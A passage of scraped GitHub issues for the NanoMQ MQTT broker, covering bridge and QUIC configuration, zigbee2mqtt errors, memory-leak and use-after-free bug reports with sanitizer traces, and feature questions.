remote_topic # # # # Value: String local_topic = "topic1" } { remote_topic = "fwd/topic2" local_topic = "topic2" } ] # #-------------------------------------------------------------------- # # The following config params only effective when set QUIC as the # # transport layer of bridging connection (mqtt-quic://{host}:{port})! # # # # Ping: interval of a sending keepalive packet via QUIC transport. # # # # Value: Duration # # Default: 120 seconds quic_keepalive = 120s # # Idle Timeout: How long a connection can go idle before it is gracefully shut down. # # 0 to disable timeout, which may lost disconnect event msg. # # Value: Duration # # Default: 120 seconds quic_idle_timeout = 120s # # Disconnect Timeout: How long to wait for an ACK before declaring # # a path dead and disconnecting, This affects stream living time. # # Value: Duration # # Default: 20 seconds quic_discon_timeout = 20s # # Handshake Timeout: the Max time NanoMQ waits for establishing QUIC connection # # How long a handshake can idle before it is discarded # # Value: Duration # # Default: 60 seconds quic_handshake_timeout = 60s # # Send Idle Timeout: Reset congestion control after being idle `SendIdleTimeout` # # Value: Duration # # Default: 60 seconds quic_send_idle_timeout = 2s # # Initial RTT: Initial RTT estimate. (ms) # # RTT: round trip time # # Default: 800ms quic_initial_rtt_ms = 800ms # # Max Ack Delay: How long to wait after receiving data before sending an ACK. # # Value: Duration # # Default: 100ms quic_max_ack_delay_ms = 100ms # # Hybrid bridging: enable or disable the hybrid bridging mode # # Recommend to enable it when you want to take advantage of QUIC # # but not sure if the public network support QUIC. # # Value: True/False # # Default: False hybrid_bridging = false # # multi-stream mode: enable or disable the multi-stream bridging mode # # Warning: This is a feature WIP. Do not enable it! # # Value: True/False # # Default: False quic_multi_stream = false # # qos_priority: send QoS 1/2 msg in high prority # # QoS 0 messages remain as same # # Value: true/false # # Default: true quic_qos_priority = true # # 0RTT: enable or diable 0RTT, 0RTT is a feature of QUIC to re-establish # # connection quickly. # # Value: true/false # # Default: true quic_0rtt = true subscription = [ { # # The topic filter of which subscribe to remote broker # # This must present to enable the subscription of bridging # # # # Value: String remote_topic = "cmd/topic3" # # This is for Topic reflection, if you want the vanila way: # # Leave `local_topic=""` to preserve the original topic in msg # # Value: String local_topic = "topic3" # # Need to subscribe to remote topics QoS. # # Please set QoS for each subscription topic # # otherwise topic is invalid, NanoMQ won't sub to any topic # # Value: Number qos = 1 } { remote_topic = "cmd/topic4" local_topic = "topic4" qos = 2 } ] # # Properties of subscribe for MQTT V5 sub_properties { # # Subscription Identifier # # # # The Subscription Identifier can have the value of 1 to 268,435,455. # # It is a Protocol Error if the Subscription Identifier has a value of 0. # # It is a Protocol Error to include the Subscription Identifier more than once. # # The Subscription Identifier is associated with any subscription created or modified as the result of this SUBSCRIBE packet. # # If there is a Subscription Identifier, it is stored with the subscription. # # If this property is not specified, then the absence of a Subscription Identifier is stored with the subscription. # # # # Value: 1 ~ 268,435,455 identifier = 1 # # User Property # # # # The User Property is allowed to appear multiple times to represent multiple name, value pairs. # # The same name is allowed to appear more than once. # # # # Value: Map[key(String) - value(String)] user_property = { key1 = value1 key2 = value2 } } # # max_parallel_processes # # Handle a specified maximum number of outstanding requests # # # # Value: 1-infinity max_parallel_processes = 2 # # max send queue length # # Handle a specified maximum number of message send queue length # # # # Value: 1-infinity max_send_queue_len = 32 # # max receive queue length # # Handle a specified maximum number of message receive queue length # # # # Value: 1-infinity max_recv_queue_len = 128 } bridges.mqtt.cache { # # Max message limitation for caching # # ( 0 means ineffective ) # # Value: 1-infinity disk_cache_size = 102400 # # Mounted file path # # # # Value: path # mounted_file_path="/tmp/" # # The threshold of flushing messages to flash. # # # # Value: 1-infinity flush_mem_threshold = 100 # # Resend interval (ms) # # The interval for resending the messages after failure recovered. (not related to trigger) # # # # Value: 1-infinity resend_interval = 5000 } ``` ` My zigbee2mqtt config contains the following for reference: `mqtt: base_topic: zigbee2mqtt server: mqtt://127.0.0.1:1883 version: 5 client_id: "z2m"` I have tried both MQTT version 5 and 3.1.1 and get the same errors so the issue might not be related to that. **Expected behavior** I expected that with a simple config file built from the example configs, nanomq would function as a drop in replacement for mosquitto mqtt broker. **Actual Behavior** It _partly_ works despite the errors and is indeed significantly faster in terms of latency. I can't however ignore the errors since sometimes they prevent zigbee2mqtt from starting, and whatever the problem is, Home Assistant MQTT integration doesn't correctly work either, with no devices available or only partially available with no control. I received these errors and instability/unreliable operation of clients connecting to the nanomq broker (zigbee2mqtt and Home Assistant MQTT integration: NanoMQ logs example error types: `NanoMQ Broker is started successfully! 2024-07-28 11:39:22 [15] WARN /nanomq/nng/src/sp/protocol/mqtt/nmq_mqtt.c:1221 nano_pipe_recv_cb: no ctx found!! create more ctxs! 2024-07-28 11:39:31 [14] WARN /nanomq/nng/src/sp/protocol/mqtt/nmq_mqtt.c:1221 nano_pipe_recv_cb: no ctx found!! create more ctxs! 2024-07-28 11:32:37 [14] WARN /nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:1272 nmq_pipe_send_start_v5: msg dropped due to overceed max packet size! 2024-07-28 11:32:37 [9] WARN /nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:1272 nmq_pipe_send_start_v5: msg dropped due to overceed max packet size! 2024-07-28 11:32:37 [16] WARN /nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:1272 nmq_pipe_send_start_v5: msg dropped due to overceed max packet size! 2024-07-28 11:32:48 [10] WARN /nanomq/nng/src/sp/protocol/mqtt/nmq_mqtt.c:237 nano_pipe_timer_cb: Warning: close pipe & kick client due to KeepAlive timeout! 2024-07-28 11:32:48 [15] WARN /nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:679 tcptran_pipe_recv_cb: nni aio recv error!! Object closed 2024-07-28 11:32:48 [15] WARN /nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:948 tcptran_pipe_recv_cb: tcptran_pipe_recv_cb: recv_error rv: 139 2024-07-28 11:32:48 [16] WARN /nanomq/nanomq/pub_handler.c:1290 handle_pub_retain: decode retain msg failed, drop msg 2024-07-28 11:32:51 [9] WARN /nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:1272 nmq_pipe_send_start_v5: msg dropped due to overceed max packet size! 2024-07-28 11:32:51 [15] WARN /nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:1272 nmq_pipe_send_start_v5: msg dropped due to overceed max packet size! 2024-07-28 11:32:51 [10] WARN /nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:1272 nmq_pipe_send_start_v5: msg dropped due to overceed max packet size! 2024-07-29 11:25:40 [15] WARN /nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:1272 nmq_pipe_send_start_v5: msg dropped due to overceed max packet size! 2024-07-29 11:32:14 [10] WARN /nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:948 tcptran_pipe_recv_cb: tcptran_pipe_recv_cb: recv_error rv: 139 2024-07-28 11:32:51 [10] WARN /nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:1272 nmq_pipe_send_start_v5: msg dropped due to overceed max packet size! 2024-07-28 11:32:48 [15] WARN /nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:948 tcptran_pipe_recv_cb: tcptran_pipe_recv_cb: recv_error rv: 139 2024-07-28 11:32:48 [16] WARN /nanomq/nanomq/pub_handler.c:1290 handle_pub_retain: decode retain msg failed, drop msg 2024-07-28 11:32:51 [9] WARN /nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:1272 nmq_pipe_send_start_v5: msg dropped due to overceed max packet size! 2024-07-28 11:32:51 [15] WARN /nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:1272 nmq_pipe_send_start_v5: msg dropped due to overceed max packet size! 2024-07-28 11:32:51 [10] WARN /nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:1272 nmq_pipe_send_start_v5: msg dropped due to overceed max packet size! ` zigbee2mqtt logs: `[2024-07-29 12:08:47] error: z2m: MQTT error: Invalid header flag bits, must be 0x0 for pubcomp packet [2024-07-29 12:08:47] error: z2m: MQTT error: Invalid header flag bits, must be 0x0 for connack packet [2024-07-29 12:08:47] error: z2m: MQTT error: Invalid header flag bits, must be 0x2 for pubrel packet [2024-07-29 12:08:47] error: z2m: MQTT error: Invalid header flag bits, must be 0x2 for pubrel packet [2024-07-29 12:08:47] error: z2m: MQTT error: Invalid header flag bits, must be 0x2 for pubrel packet [2024-07-29 12:08:47] error: z2m: MQTT error: Invalid header flag bits, must be 0x0 for pubcomp packet [2024-07-29 12:08:47] error: z2m: MQTT error: Invalid header flag bits, must be 0x0 for pubcomp packet [2024-07-29 12:08:47] error: z2m: MQTT error: Cannot parse topic [2024-07-29 12:08:47] error: z2m: MQTT error: Invalid header flag bits, must be 0x2 for pubrel packet [2024-07-29 12:08:47] error: z2m: MQTT error: Cannot parse topic [2024-07-29 12:08:47] error: z2m: MQTT error: Cannot parse topic [2024-07-29 12:08:52] error: z2m: MQTT error: Malformed unsuback, payload length must be 2 [2024-07-29 11:36:12] error: z2m: MQTT error: Invalid header flag bits, must be 0x0 for connack packet [2024-07-29 11:36:12] error: z2m: MQTT error: Packet must not have both QoS bits set to 1 [2024-07-28 17:33:41] error: z2m: MQTT error: Cannot parse topic [2024-07-28 17:33:41] error: z2m: MQTT error: Invalid pubcomp reason code [2024-07-28 17:33:41] error: z2m: MQTT error: Invalid header flag bits, must be 0x2 for pubrel packet [2024-07-28 17:33:41] error: z2m: MQTT error: Invalid connack flags, bits 7-1 must be set to 0 [2024-07-28 17:33:41] error: z2m: MQTT error: Invalid header flag bits, must be 0x0 for pubcomp packet ` Switching back to Eclipse Mosquitto broker works immediately but nanomq is much faster although buggy for me as above. **To Reproduce** I've provided the config files I have used. My system is a Raspberry Pi 4 4gb with a SONOFF Zigbee 3.0 USB Dongle Plus ZBDongle-P **Environment Details** - NanoMQ version NanoMQ 0.22.2 - Raspberry Pi OS using Docker, Portainer, Kernel version: 6.6, Debian version: 12 (bookworm)
Errors and incompatibility with zigbee2mqtt
https://api.github.com/repos/nanomq/nanomq/issues/1855/comments
2
2024-07-29T11:55:53Z
2024-07-31T15:15:39Z
https://github.com/nanomq/nanomq/issues/1855
2,435,218,270
1,855
[ "emqx", "nanomq" ]
**Question** Is there a way to encrypt the password in the nanomq_pwd.conf file? Best regards Michael
Password encryption in nanomq_pwd.conf
https://api.github.com/repos/nanomq/nanomq/issues/1854/comments
0
2024-07-29T11:54:52Z
2024-07-30T01:55:15Z
https://github.com/nanomq/nanomq/issues/1854
2,435,216,417
1,854
[ "emqx", "nanomq" ]
**Describe the bug** When NanoMQ enables bridge configuration and establishes a bridge connection and topic mapping with another broker, if the NanoMQ bridge connection unexpectedly disconnects, a client sends a publish message with a topic related to the bridge configuration to NanoMQ will cause a memory leak in NanoMQ. **Expected behavior** This memory leak should not occur during bridge disconnection **To Reproduce** nanomq.conf ``` #..... bridges.mqtt.emqx1 { server = "mqtt-tcp://192.168.222.128:1884" proto_ver = 5 clientid="nanomq" keepalive = 600s backoff_max = 60s clean_start = true conn_properties = { maximum_packet_size = 4294967295 receive_maximum = 65535 topic_alias_maximum = 10 request_problem_infomation = 1 request_response_infomation = 0 session_expiry_interval = 0 user_property = { key1 = value1 key2 = value2 } } forwards = [ { remote_topic = "remote/topic" local_topic = "topic" } ] subscription = [ { remote_topic = "remote/topic" local_topic = "topic" } ] } ``` 1. asan compile 2. ./nanomq start --conf ./nanomq.conf (we did not start the remote bridged broker to show the bug) 3. mosquitto_pub -t "topic" -m "hello msg" 4. ctrl+c for naonmq ![image](https://github.com/user-attachments/assets/221500f5-cf3b-413d-8185-9f4ed65ed7d5) **Environment Details** - NanoMQ version 0.21.10 0.22.1 **Client SDK** If possible include the mqtt sdk you used to connect to nanomq Minimal C test cases are perferred. **Additional context** Add any other context about the problem here.
memory leak in bridge publish
https://api.github.com/repos/nanomq/nanomq/issues/1853/comments
2
2024-07-26T12:40:36Z
2024-07-29T08:41:02Z
https://github.com/nanomq/nanomq/issues/1853
2,432,157,334
1,853
[ "emqx", "nanomq" ]
I used the nanomq as a lib, Which interfaces can I call to stop the broker instead of kill ? Because my process can't be stopped, an I just want to stop the MQTT broker.
Which interfaces can I call to stop the broker instead of kill ?
https://api.github.com/repos/nanomq/nanomq/issues/1851/comments
1
2024-07-26T02:36:07Z
2024-07-26T03:00:00Z
https://github.com/nanomq/nanomq/issues/1851
2,431,296,785
1,851
[ "emqx", "nanomq" ]
How can I get which topics a client subscribed? Thanks a lot.
How can I get which topics a client subscribed?
https://api.github.com/repos/nanomq/nanomq/issues/1849/comments
1
2024-07-25T00:52:21Z
2024-07-25T02:17:04Z
https://github.com/nanomq/nanomq/issues/1849
2,428,716,088
1,849
[ "emqx", "nanomq" ]
I gonna rewrite this tmw
New feature Prefix/Suffix of bridging topic is not working as expected
https://api.github.com/repos/nanomq/nanomq/issues/1847/comments
1
2024-07-24T10:11:29Z
2024-07-26T06:18:27Z
https://github.com/nanomq/nanomq/issues/1847
2,427,155,293
1,847
[ "emqx", "nanomq" ]
**Describe the bug** NanoMQ handles only first command from WebSocket packet containing several MQTT commands. **Expected behavior** NanoMQ to handle all MQTT commands transmitted in single WebSocket packet. **Actual Behavior** It looks like sequential commands sent to MQTT.js client on a Browser over WebSocket connection go into single WebSocket packet. NanoMQ handles only first command from this WS packet and ignores the rest. Confirmed with version nanomq-0.22.1-windows-x86_64 running on Windows Server 2016. **To Reproduce** Can be reproduced from the browser having MQTTjs connection available with the following code ```javascript ([1, 2, 3]).forEach(id => client.publish("test-topic", ""+id)) ``` Or no-loop equivalent ```javascript client.publish('test-topic', '1'); client.publish('test-topic', '2'); client.publish('test-topic', '3'); ``` This produces the next WebSocket packet. ![mqtt-ws-envelope](https://github.com/user-attachments/assets/11d0974f-c7c6-4767-923e-66c1fad2a646) The client subscribed to topic `test-topic` will receive only first message from the series. This issue can be reproduced only in a Browser. Broker will handle all messages having the same snippet running in Node.js. I suppose because Node.js uses external ws package to work with WebSocket and this implementation flushes every message into individual WS packet. **Environment Details** - NanoMQ version: nanomq-0.22.1-windows-x86_64 - Operating system and version: Windows Server 2016 - Compiler and language used: - testing scenario **Client SDK** JavaScript, mqtt.js client library **Additional context** Similar issue was started here with my comment add in the end of discussion. https://github.com/nanomq/nanomq/issues/1802
Only the first MQTT command from multiple-commands WebSocket packet is handled
https://api.github.com/repos/nanomq/nanomq/issues/1844/comments
3
2024-07-22T13:56:04Z
2024-08-04T02:04:25Z
https://github.com/nanomq/nanomq/issues/1844
2,422,948,943
1,844
[ "emqx", "nanomq" ]
hi everyone, now I want to stop the broker by call some interfaces instead of kill it directly. Now in the sources, using kill to stop the broker. Can I call some interfaces to stop the broker?
if I compiled nanomq as a lib, how to start and stop the broker
https://api.github.com/repos/nanomq/nanomq/issues/1840/comments
8
2024-07-19T06:49:53Z
2024-07-27T08:24:30Z
https://github.com/nanomq/nanomq/issues/1840
2,418,197,737
1,840
[ "emqx", "nanomq" ]
I wish your answer, thanks!
Is there a tool which I can see the broker status ? such as who connected and subscribe what topics? how many datas are there is the broker?
https://api.github.com/repos/nanomq/nanomq/issues/1839/comments
2
2024-07-19T06:41:35Z
2024-07-29T08:41:42Z
https://github.com/nanomq/nanomq/issues/1839
2,418,163,106
1,839
[ "emqx", "nanomq" ]
Hi! Just wondering if the following ACL feature is on the road map (couldn't find an official roadmap): ` {"permit": "allow", "username": "device", "action": "subscribe", "topics": ["topic/%c"]}` Where `%c` is the clientid of the device trying to subscribe to the topics. Different options such as username `%u` would also be handy. Thank you in advance.
Support for clientid based ACL files
https://api.github.com/repos/nanomq/nanomq/issues/1838/comments
1
2024-07-17T02:41:37Z
2024-07-22T06:28:22Z
https://github.com/nanomq/nanomq/issues/1838
2,412,495,496
1,838
[ "emqx", "nanomq" ]
I compile the nanomq source code on windows using cmake3.30.0,and I run the nanomq using follow command: nanomq.exe start --conf config/nanomq.conf (allow_anonymous = false) when I connect to the nanomq using a Mqttclient tool with wrong password , the nanomq.exe crash and quit, Is my compile has some questions?
self-compiled nanomq.exe on windows crash and exit
https://api.github.com/repos/nanomq/nanomq/issues/1833/comments
3
2024-07-11T06:55:35Z
2024-07-15T05:15:46Z
https://github.com/nanomq/nanomq/issues/1833
2,402,408,536
1,833
[ "emqx", "nanomq" ]
Hello! I'm testing nanomq on some devices and I came across a specific error: `bridge_handler: bridging to tls+mqtt-tcp://broker.xx.xx.io:8883 aio busy! msg lost! Ctx: 1 ` On other devices, i'm using Mosquitto with the max_inflight_messages option, due to a server limitation (1 msg/s/topic) is there any way to currently limit this? [nanomq-log.txt](https://github.com/user-attachments/files/16167885/nanomq-log.txt) config: ``` system { num_taskq_thread = 0 # Use a specified number of task queue threads max_taskq_thread = 0 # Use a specified maximum number of task queue threads parallel = 0 # Handle a specified maximum number of outstanding requests } mqtt { property_size = 32 max_packet_size = 512KB max_mqueue_len = 2048 retry_interval = 5s keepalive_multiplier = 1.25 #max_inflight_window tested but not working yet } listeners.tcp { bind = "127.0.0.1:1883" } listeners.ws { bind = "127.0.0.1:8083/mqtt" } sqlite { disk_cache_size = 102400 mounted_file_path="/data/nanomq/" flush_mem_threshold = 1000 resend_interval = 5000 } auth { allow_anonymous = true # Allow clients to connect without providing username/passwor d no_match = allow # Default action if no ACL rules mat deny_action = ignore # Action to take if an ACL check rejects an operationi cache = { max_size = 32 # Maximum number of ACL entries to cache for a client ttl = 1m # Time after which an ACL cache entry will be delete } #password = {include "/etc/nanomq_pwd.conf"} # Path to the password configuration file #acl = {include "/etc/nanomq_acl.conf"} # Path to the ACL configuration file } log { to = [file, console] level = debug dir = "/data/nanomq" file = "nanomq.log" rotation { size = 10MB count = 2 } } bridges.mqtt.test = { # server = "tls+mqtt-tcp://broker.emqx.io:8883" # MQTT server address server = "tls+mqtt-tcp://broker.xxxx:8883" proto_ver = 4 # MQTT protocol version clientid = "xxx" # Client ID for the bridge keepalive = "60s" # Ping interval for the bridge clean_start = false # Clean start flag for the bridge username = "xx" # Username for the bridge password = "xxx" # Password for the bridge ssl = { keyfile = "/etc/ssl/certs/" certfile = "/etc/ssl/certs/" cacertfile = "/etc/nanomq/xxx" } forwards = [ { remote_topic = "" local_topic = "server/+/state" qos = 1 }, { remote_topic = "" local_topic = "server/+/toAgent/flows" qos = 1 }, { remote_topic = "" local_topic = "server/+/fromAgent/+" qos = 1 }, { remote_topic = "" local_topic = "server/+/fromAgent/hello" qos = 1 }, { remote_topic = "" local_topic = "server/+/fromAgent/debug" qos = 1 }, { remote_topic = "" local_topic = "server/+/fromAgent/flowStats" qos = 1 }, { remote_topic = "" local_topic = "application/ios-api/#" qos = 1 }, { remote_topic = "" local_topic = "application/modbus-api/#" qos = 1 }, { remote_topic = "" local_topic = "server/+/fromAgent/hello" qos = 1 } ] subscription = [ { remote_topic = "server/+/command" local_topic = "" qos = 1 }, { remote_topic = "server/+/toAgent/flows" local_topic = "" qos = 1 }, { remote_topic = "server/+/toAgent/peripherals" local_topic = "" qos = 1 }, { remote_topic = "server/+/toAgent/debug" local_topic = "" qos = 1 }, { remote_topic = "server/+/toAgent/+" local_topic = "" qos = 1 }, { remote_topic = "server/+/toAgent/virtualButton" local_topic = "" qos = 1 }, { remote_topic = "modbus-api/#" local_topic = "" qos = 1 }, { remote_topic = "ios-api/#" local_topic = "" qos = 1 } ] max_parallel_processes = 2 # Maximum number of parallel processes for handling outstanding requests max_send_queue_len = 1024 # Maximum number of message send queue length max_recv_queue_len = 1024 # Maximum number of message receive queue length } bridges.mqtt.cache { disk_cache_size = 102400 # Max message limitation for caching mounted_file_path = "/data/nanomq/" # Mounted file path flush_mem_threshold = 200 # The threshold of flushing messages to flash resend_interval = 5000 # The interval of resending cached SQLite msg } ``` **Environment Details** - NanoMQ version: 0.22.1-r0 - Operating system and version: custom build (yocto) - testing scenario: Nanomq with local and bridge + tls (all options working) - device with 1 core (1Ggz) + 100mb ram
msg lost
https://api.github.com/repos/nanomq/nanomq/issues/1832/comments
5
2024-07-10T18:26:58Z
2024-07-15T05:30:46Z
https://github.com/nanomq/nanomq/issues/1832
2,401,401,174
1,832
[ "emqx", "nanomq" ]
**Describe the bug** Configuration is not reloaded. **Expected behavior** Reload of the configuration. **Actual Behavior** Got message "reload failed!" **To Reproduce** Just run: `` nanomq reload `` without any configuration change. **Environment Details** - NanoMQ version: official Docker version v0.22.1-3 <img width="1179" alt="Screenshot 2024-07-07 at 11 08 09" src="https://github.com/nanomq/nanomq/assets/33039107/5131c586-bedf-4b7c-b103-83bc80fd29f6">
nanomq reload command failed
https://api.github.com/repos/nanomq/nanomq/issues/1829/comments
4
2024-07-07T09:08:55Z
2024-07-16T03:32:34Z
https://github.com/nanomq/nanomq/issues/1829
2,393,964,434
1,829
[ "emqx", "nanomq" ]
**Describe the bug** Rules are not listed. **Expected behavior** List of rules. **Actual Behavior** Connect failed: Connection refused munmap_chunk(): invalid pointer Aborted (core dumped) **To Reproduce** Run ``nanomq_cli rules -l`` in the docker container where nanomq is running. **Environment Details** - NanoMQ version v0.22.0-0 - Operating system and version : official Docker version.
nanomq_cli rules command doesn't work
https://api.github.com/repos/nanomq/nanomq/issues/1828/comments
4
2024-07-05T19:58:38Z
2024-07-16T09:17:51Z
https://github.com/nanomq/nanomq/issues/1828
2,393,080,494
1,828
[ "emqx", "nanomq" ]
**Is your feature request related to a problem? Please describe.** I have a cluster of MQTT brokers, each node in the cluster has a different IP address. I need protection against one of the nodes in the cluster not being available. **Describe the solution you'd like** To be able to specify multiple URIs for each bridge, and NanoMQ try each in turn until a connection is successfully established. **Describe alternatives you've considered** Using more than one bridge at the same time, each connected to a different node in the cluster; however this would result in duplicate publications so it is not acceptable. **Additional context** Mosquitto has this [functionality](https://mosquitto.org/man/mosquitto-conf-5.html#idm890). Many MQTT client libraries also have it ([Paho Java](https://eclipse.dev/paho/files/javadoc/org/eclipse/paho/client/mqttv3/MqttConnectOptions.html#setServerURIs-java.lang.String:A-), [MQTT.js](https://github.com/mqttjs/MQTT.js/?tab=readme-ov-file#mqttconnecturl-options)).
Bridge connection fallback
https://api.github.com/repos/nanomq/nanomq/issues/1826/comments
1
2024-07-05T08:41:23Z
2024-07-05T09:48:50Z
https://github.com/nanomq/nanomq/issues/1826
2,392,143,928
1,826
[ "emqx", "nanomq" ]
**Describe the bug** ``` ==623445==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000040150 at pc 0x7f2aaf26eb32 bp 0x7f2a96759980 sp 0x7f2a96759140 READ of size 5 at 0x602000040150 thread T22 #0 0x7f2aaf26eb31 in __interceptor_memcpy (/lib64/libasan.so.8+0x6eb31) (BuildId: 542ad02088f38edfdba9d4bfa465b2299f512d3e) #1 0x53b036 in mqtt_buf_create /home/wangha/Documents/nanomq/nng/src/supplemental/mqtt/mqtt_codec.c:3103 #2 0x53b303 in mqtt_kv_create /home/wangha/Documents/nanomq/nng/src/supplemental/mqtt/mqtt_codec.c:3138 #3 0x53def9 in property_set_value_strpair /home/wangha/Documents/nanomq/nng/src/supplemental/mqtt/mqtt_codec.c:3633 #4 0x53f2ca in property_dup /home/wangha/Documents/nanomq/nng/src/supplemental/mqtt/mqtt_codec.c:3822 #5 0x52a8c8 in mqtt_property_dup /home/wangha/Documents/nanomq/nng/src/supplemental/mqtt/mqtt_public.c:722 #6 0x4b39ce in bridge_handler /home/wangha/Documents/nanomq/nanomq/apps/broker.c:226 #7 0x4b746c in server_cb /home/wangha/Documents/nanomq/nanomq/apps/broker.c:601 #8 0x4ea55a in nni_taskq_thread /home/wangha/Documents/nanomq/nng/src/core/taskq.c:47 #9 0x4eb78b in nni_thr_wrap /home/wangha/Documents/nanomq/nng/src/core/thread.c:94 #10 0x4f3a07 in nni_plat_thr_main /home/wangha/Documents/nanomq/nng/src/platform/posix/posix_thread.c:266 #11 0x7f2aaf0ae946 in start_thread (/lib64/libc.so.6+0x8c946) (BuildId: f888be5f5e7d58e04cabb8c675c7ab94e77dd68c) #12 0x7f2aaf13485f in __clone3 (/lib64/libc.so.6+0x11285f) (BuildId: f888be5f5e7d58e04cabb8c675c7ab94e77dd68c) 0x602000040150 is located 0 bytes inside of 6-byte region [0x602000040150,0x602000040156) freed by thread T22 here: #0 0x7f2aaf2d7fb8 (/lib64/libasan.so.8+0xd7fb8) (BuildId: 542ad02088f38edfdba9d4bfa465b2299f512d3e) #1 0x47c90f in encode_pub_message /home/wangha/Documents/nanomq/nanomq/pub_handler.c:1478 #2 0x4b713d in server_cb /home/wangha/Documents/nanomq/nanomq/apps/broker.c:587 #3 0x4ea55a in nni_taskq_thread /home/wangha/Documents/nanomq/nng/src/core/taskq.c:47 #4 0x4eb78b in nni_thr_wrap /home/wangha/Documents/nanomq/nng/src/core/thread.c:94 #5 0x4f3a07 in nni_plat_thr_main /home/wangha/Documents/nanomq/nng/src/platform/posix/posix_thread.c:266 #6 0x7f2aaf0ae946 in start_thread (/lib64/libc.so.6+0x8c946) (BuildId: f888be5f5e7d58e04cabb8c675c7ab94e77dd68c) previously allocated by thread T22 here: #0 0x7f2aaf2d92ef in malloc (/lib64/libasan.so.8+0xd92ef) (BuildId: 542ad02088f38edfdba9d4bfa465b2299f512d3e) #1 0x7f2a5644f13e in cb (/home/wangha/Documents/nanomq/nanomq/plugin/plugin_user_property.so+0x113e) (BuildId: dfd7956719331cb003600e42765054fff77e4b48) #2 0x4bff10 in plugin_hook_call /home/wangha/Documents/nanomq/nanomq/plugin/plugin.c:48 #3 0x47c6bc in encode_pub_message /home/wangha/Documents/nanomq/nanomq/pub_handler.c:1451 #4 0x4b713d in server_cb /home/wangha/Documents/nanomq/nanomq/apps/broker.c:587 #5 0x4ea55a in nni_taskq_thread /home/wangha/Documents/nanomq/nng/src/core/taskq.c:47 #6 0x4eb78b in nni_thr_wrap /home/wangha/Documents/nanomq/nng/src/core/thread.c:94 #7 0x4f3a07 in nni_plat_thr_main /home/wangha/Documents/nanomq/nng/src/platform/posix/posix_thread.c:266 #8 0x7f2aaf0ae946 in start_thread (/lib64/libc.so.6+0x8c946) (BuildId: f888be5f5e7d58e04cabb8c675c7ab94e77dd68c) Thread T22 created by T0 here: #0 0x7f2aaf248956 in pthread_create (/lib64/libasan.so.8+0x48956) (BuildId: 542ad02088f38edfdba9d4bfa465b2299f512d3e) #1 0x4f3b00 in nni_plat_thr_init /home/wangha/Documents/nanomq/nng/src/platform/posix/posix_thread.c:279 #2 0x4eba2e in nni_thr_init /home/wangha/Documents/nanomq/nng/src/core/thread.c:121 #3 0x4ea875 in nni_taskq_init /home/wangha/Documents/nanomq/nng/src/core/taskq.c:92 #4 0x4eb497 in nni_taskq_sys_init /home/wangha/Documents/nanomq/nng/src/core/taskq.c:273 #5 0x4d5caf in nni_init_helper /home/wangha/Documents/nanomq/nng/src/core/init.c:35 #6 0x4f3e07 in nni_plat_init /home/wangha/Documents/nanomq/nng/src/platform/posix/posix_thread.c:422 #7 0x4d5d19 in nni_init /home/wangha/Documents/nanomq/nng/src/core/init.c:57 #8 0x52906b in nng_mtx_alloc /home/wangha/Documents/nanomq/nng/src/supplemental/util/platform.c:93 #9 0x581f3d in conf_bridge_parse_ver2 /home/wangha/Documents/nanomq/nng/src/supplemental/nanolib/conf_ver2.c:1239 #10 0x586b30 in conf_parse_ver2 /home/wangha/Documents/nanomq/nng/src/supplemental/nanolib/conf_ver2.c:1785 #11 0x4be729 in broker_start /home/wangha/Documents/nanomq/nanomq/apps/broker.c:1782 #12 0x4b333c in main /home/wangha/Documents/nanomq/nanomq/nanomq.c:142 #13 0x7f2aaf049b89 in __libc_start_call_main (/lib64/libc.so.6+0x27b89) (BuildId: f888be5f5e7d58e04cabb8c675c7ab94e77dd68c) #14 0x7f2aaf049c4a in __libc_start_main_alias_2 (/lib64/libc.so.6+0x27c4a) (BuildId: f888be5f5e7d58e04cabb8c675c7ab94e77dd68c) #15 0x470034 in _start (/home/wangha/Documents/nanomq/build/nanomq/nanomq+0x470034) (BuildId: 895072dee90241a1ade72ce82705548f626e7233) SUMMARY: AddressSanitizer: heap-use-after-free (/lib64/libasan.so.8+0x6eb31) (BuildId: 542ad02088f38edfdba9d4bfa465b2299f512d3e) in __interceptor_memcpy Shadow bytes around the buggy address: 0x60200003fe80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x60200003ff00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x60200003ff80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x602000040000: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fd 0x602000040080: fa fa fd fd fa fa fd fd fa fa 07 fa fa fa 04 fa =>0x602000040100: fa fa fd fd fa fa fd fa fa fa[fd]fa fa fa fd fa 0x602000040180: fa fa fd fa fa fa fd fd fa fa fd fd fa fa 05 fa 0x602000040200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x602000040280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x602000040300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x602000040380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==623445==ABORTING ``` **To Reproduce** configuration ``` plugin { libs [{ path = "/home/wangha/Documents/nanomq/nanomq/plugin/plugin_user_property.so" }] } ``` start nanomq ``` ./nanomq/nanomq start --conf ../etc/nanomq.conf ``` start nanomq_cli ``` ./nanomq_cli/nanomq_cli sub -t topic1 ./nanomq_cli/nanomq_cli pub -t topic1 -V 5 -m aaa ```
Heap use after free when running plugin demo.
